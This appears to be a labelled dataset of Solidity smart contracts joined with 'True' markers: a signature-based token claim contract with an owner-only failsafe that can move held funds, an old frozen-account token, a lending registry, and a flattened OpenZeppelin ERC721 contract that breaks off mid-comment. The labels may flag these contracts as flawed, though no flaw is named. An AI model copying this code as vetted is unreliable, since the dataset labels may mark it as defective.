msgHash[messageHash] = true;
emit Claim(_user,_tokenAddress,amount,block.timestamp);
}
/**
* @dev ETHereum Signed Message, created from `hash`
* @dev Returns the address that signed a hashed message (`hash`) with `signature`.
*/
function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress)
{
bytes32 hash = ECDSA.toETHSignedMessageHash(_messageHash);
signatureAddress = ECDSA.recover(hash, _signature);
}
/**
* @dev Returns hash for given data
*/
function message(address _receiver, address _tokenAdderss ,uint amount,uint time)
public pure returns(bytes32 messageHash)
{
messageHash = keccak256(abi.encodePacked(_receiver, _tokenAdderss,amount,time));
}
// updaate signer address
function setSigner(address _signer)public onlyOwner{
signer = _signer;
emit SetSigner(msg.sender, _signer);
}
function failsafe(address user,address tokenAddress,uint amount)public onlyOwner{
if(tokenAddress == address(0x0)){
payable(user).transfer(amount);
}else {
IERC20(tokenAddress).transfer(user,amount);
}
emit Failsafe(user, tokenAddress,amount);
}
function checkBalance()public view returns(uint){
return address(this).balance;
}
/**
* @dev contractLock: For contract status
*/
function contractLock(bool _lockStatus) public onlyOwner returns(bool) {
lockStatus = _lockStatus;
return true;
}
/**
* @dev isContract: Returns true if account is a contract
*/
function isContract(address _account) public view returns(bool) {
uint32 size;
assembly {
size:= extcodesize(_account)
}
if (size != 0)
return true;
return false;
}
} | True | [
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pragma solidity ^0.4.21;
contract City {
address public owner;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
function City(uint256 initialSupply, string tokenName, string tokenSymbol) public{
owner = msg.sender;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function transfer(address _to, uint _value) public{
address _from = msg.sender;
require(!frozenAccount[_from]);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function freezeAccount(address target, bool freeze) public{
require(msg.sender == owner);
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
// File: Interfaces/ILendingLogic.sol
pragma solidity ^0.7.1;
interface ILendingLogic {
/**
@notice Get the APR based on underlying token.
@param _token Address of the underlying token
@return Interest with 18 decimals
*/
function getAPRFromUnderlying(address _token) external view returns(uint256);
/**
@notice Get the APR based on wrapped token.
@param _token Address of the wrapped token
@return Interest with 18 decimals
*/
function getAPRFromWrapped(address _token) external view returns(uint256);
/**
@notice Get the calls needed to lend.
@param _underlying Address of the underlying token
@param _amount Amount of the underlying token
@return targets Addresses of the contracts to call
@return data Calldata of the calls
*/
function lend(address _underlying, uint256 _amount, address _tokenHolder) external view returns(address[] memory targets, bytes[] memory data);
/**
@notice Get the calls needed to unlend
@param _wrapped Address of the wrapped token
@param _amount Amount of the underlying tokens
@return targets Addresses of the contracts to call
@return data Calldata of the calls
*/
function unlend(address _wrapped, uint256 _amount, address _tokenHolder) external view returns(address[] memory targets, bytes[] memory data);
/**
@notice Get the underlying wrapped exchange rate
@param _wrapped Address of the wrapped token
@return The exchange rate
*/
function exchangeRate(address _wrapped) external returns(uint256);
/**
@notice Get the underlying wrapped exchange rate in a view (non state changing) way
@param _wrapped Address of the wrapped token
@return The exchange rate
*/
function exchangeRateView(address _wrapped) external view returns(uint256);
}
// File: OpenZeppelin/Context.sol
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: OpenZeppelin/Ownable.sol
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: LendingRegistry.sol
pragma experimental ABIEncoderV2;
pragma solidity ^0.7.1;
// TODO consider making this contract upgradeable
contract LendingRegistry is Ownable {
// Maps wrapped token to protocol
mapping(address => bytes32) public wrappedToProtocol;
// Maps wrapped token to underlying
mapping(address => address) public wrappedToUnderlying;
mapping(address => mapping(bytes32 => address)) public underlyingToProtocolWrapped;
// Maps protocol to addresses containing lend and unlend logic
mapping(bytes32 => address) public protocolToLogic;
event WrappedToProtocolSet(address indexed wrapped, bytes32 indexed protocol);
event WrappedToUnderlyingSet(address indexed wrapped, address indexed underlying);
event ProtocolToLogicSet(bytes32 indexed protocol, address indexed logic);
event UnderlyingToProtocolWrappedSet(address indexed underlying, bytes32 indexed protocol, address indexed wrapped);
/**
@notice Set which protocl a wrapped token belongs to
@param _wrapped Address of the wrapped token
@param _protocol Bytes32 key of the protocol
*/
function setWrappedToProtocol(address _wrapped, bytes32 _protocol) onlyOwner external {
wrappedToProtocol[_wrapped] = _protocol;
emit WrappedToProtocolSet(_wrapped, _protocol);
}
/**
@notice Set what is the underlying for a wrapped token
@param _wrapped Address of the wrapped token
@param _underlying Address of the underlying token
*/
function setWrappedToUnderlying(address _wrapped, address _underlying) onlyOwner external {
wrappedToUnderlying[_wrapped] = _underlying;
emit WrappedToUnderlyingSet(_wrapped, _underlying);
}
/**
@notice Set the logic contract for the protocol
@param _protocol Bytes32 key of the protocol
@param _logic Address of the lending logic contract for that protocol
*/
function setProtocolToLogic(bytes32 _protocol, address _logic) onlyOwner external {
protocolToLogic[_protocol] = _logic;
emit ProtocolToLogicSet(_protocol, _logic);
}
/**
@notice Set the wrapped token for the underlying deposited in this protocol
@param _underlying Address of the unerlying token
@param _protocol Bytes32 key of the protocol
@param _wrapped Address of the wrapped token
*/
function setUnderlyingToProtocolWrapped(address _underlying, bytes32 _protocol, address _wrapped) onlyOwner external {
underlyingToProtocolWrapped[_underlying][_protocol] = _wrapped;
emit UnderlyingToProtocolWrappedSet(_underlying, _protocol, _wrapped);
}
/**
@notice Get tx data to lend the underlying amount in a specific protocol
@param _underlying Address of the underlying token
@param _amount Amount to lend
@param _protocol Bytes32 key of the protocol
@return targets Addresses of the contracts to call
@return data Calldata for the calls
*/
function getLendTXData(address _underlying, uint256 _amount, address _tokenHolder, bytes32 _protocol) external view returns(address[] memory targets, bytes[] memory data) {
ILendingLogic lendingLogic = ILendingLogic(protocolToLogic[_protocol]);
require(address(lendingLogic) != address(0), "NO_LENDING_LOGIC_SET");
return lendingLogic.lend(_underlying, _amount, _tokenHolder);
}
/**
@notice Get the tx data to unlend the wrapped amount
@param _wrapped Address of the wrapped token
@param _amount Amount of wrapped token to unlend
@return targets Addresses of the contracts to call
@return data Calldata for the calls
*/
function getUnlendTXData(address _wrapped, uint256 _amount, address _tokenHolder) external view returns(address[] memory targets, bytes[] memory data) {
ILendingLogic lendingLogic = ILendingLogic(protocolToLogic[wrappedToProtocol[_wrapped]]);
require(address(lendingLogic) != address(0), "NO_LENDING_LOGIC_SET");
return lendingLogic.unlend(_wrapped, _amount, _tokenHolder);
}
/**
@notice Get the beste apr for the give protocols
@dev returns default values if lending logic not found
@param _underlying Address of the underlying token
@param _protocols Array of protocols to include
@return apr The APR
@return protocol Protocol that provides the APR
*/
function getBestApr(address _underlying, bytes32[] memory _protocols) external view returns(uint256 apr, bytes32 protocol) {
uint256 bestApr;
bytes32 bestProtocol;
for(uint256 i = 0; i < _protocols.length; i++) {
bytes32 protocol = _protocols[i];
ILendingLogic lendingLogic = ILendingLogic(protocolToLogic[protocol]);
require(address(lendingLogic) != address(0), "NO_LENDING_LOGIC_SET");
uint256 apr = lendingLogic.getAPRFromUnderlying(_underlying);
if (apr > bestApr) {
bestApr = apr;
bestProtocol = protocol;
}
}
return (bestApr, bestProtocol);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-25
*/
/*
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
[email protected]@@@@@.....................
[email protected]##########@..................
[email protected]@####@[email protected]##############@................
[email protected]##########@...................######@@@@######@................
................######%#####@[email protected]@@#############@@@#&,,,,,@#####@................
[email protected]###@,,,,@@% #######################@,,,@####@.................
[email protected]###@@ ##############################@####@..................
[email protected] ############@@##@@#################@.....................
[email protected]@(###@########@#///@#@#################@....................
[email protected]#///@#@#######@#@@@@#@##################....................
[email protected]@##@@#################################@....................
[email protected]#@%%&&&&&&@,,,,,,,,@@#################@....................
....................,,,,@&&&&@,,,,,,,,,,,,@###############@.....................
[email protected],,,,,,,,,,,,,,,,,,,,,,,%#############/......................
[email protected],,,,@,,,,@@,,,,,,,,,,@############@........................
[email protected],,,,,,,,,,,,,,,,,,,@###########@..........................
[email protected]/,,,,,,,,,,,,,,,,@##########@............................
[email protected],,,,,,,,,,,,@##########@..............................
[email protected]@(,,,,@@#########%*................................
............................&(#%##########&,#&@.................................
[email protected]##@%&@######*(*#####@...............................
[email protected]###@ #%@%@/.&*(/#@#######@.............................
[email protected] ,#@#######&((####@########@............................
[email protected]#.##@##############@#########@...........................
*/
// SPDX-License-Identifier: MIT AND GPL-3.0
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
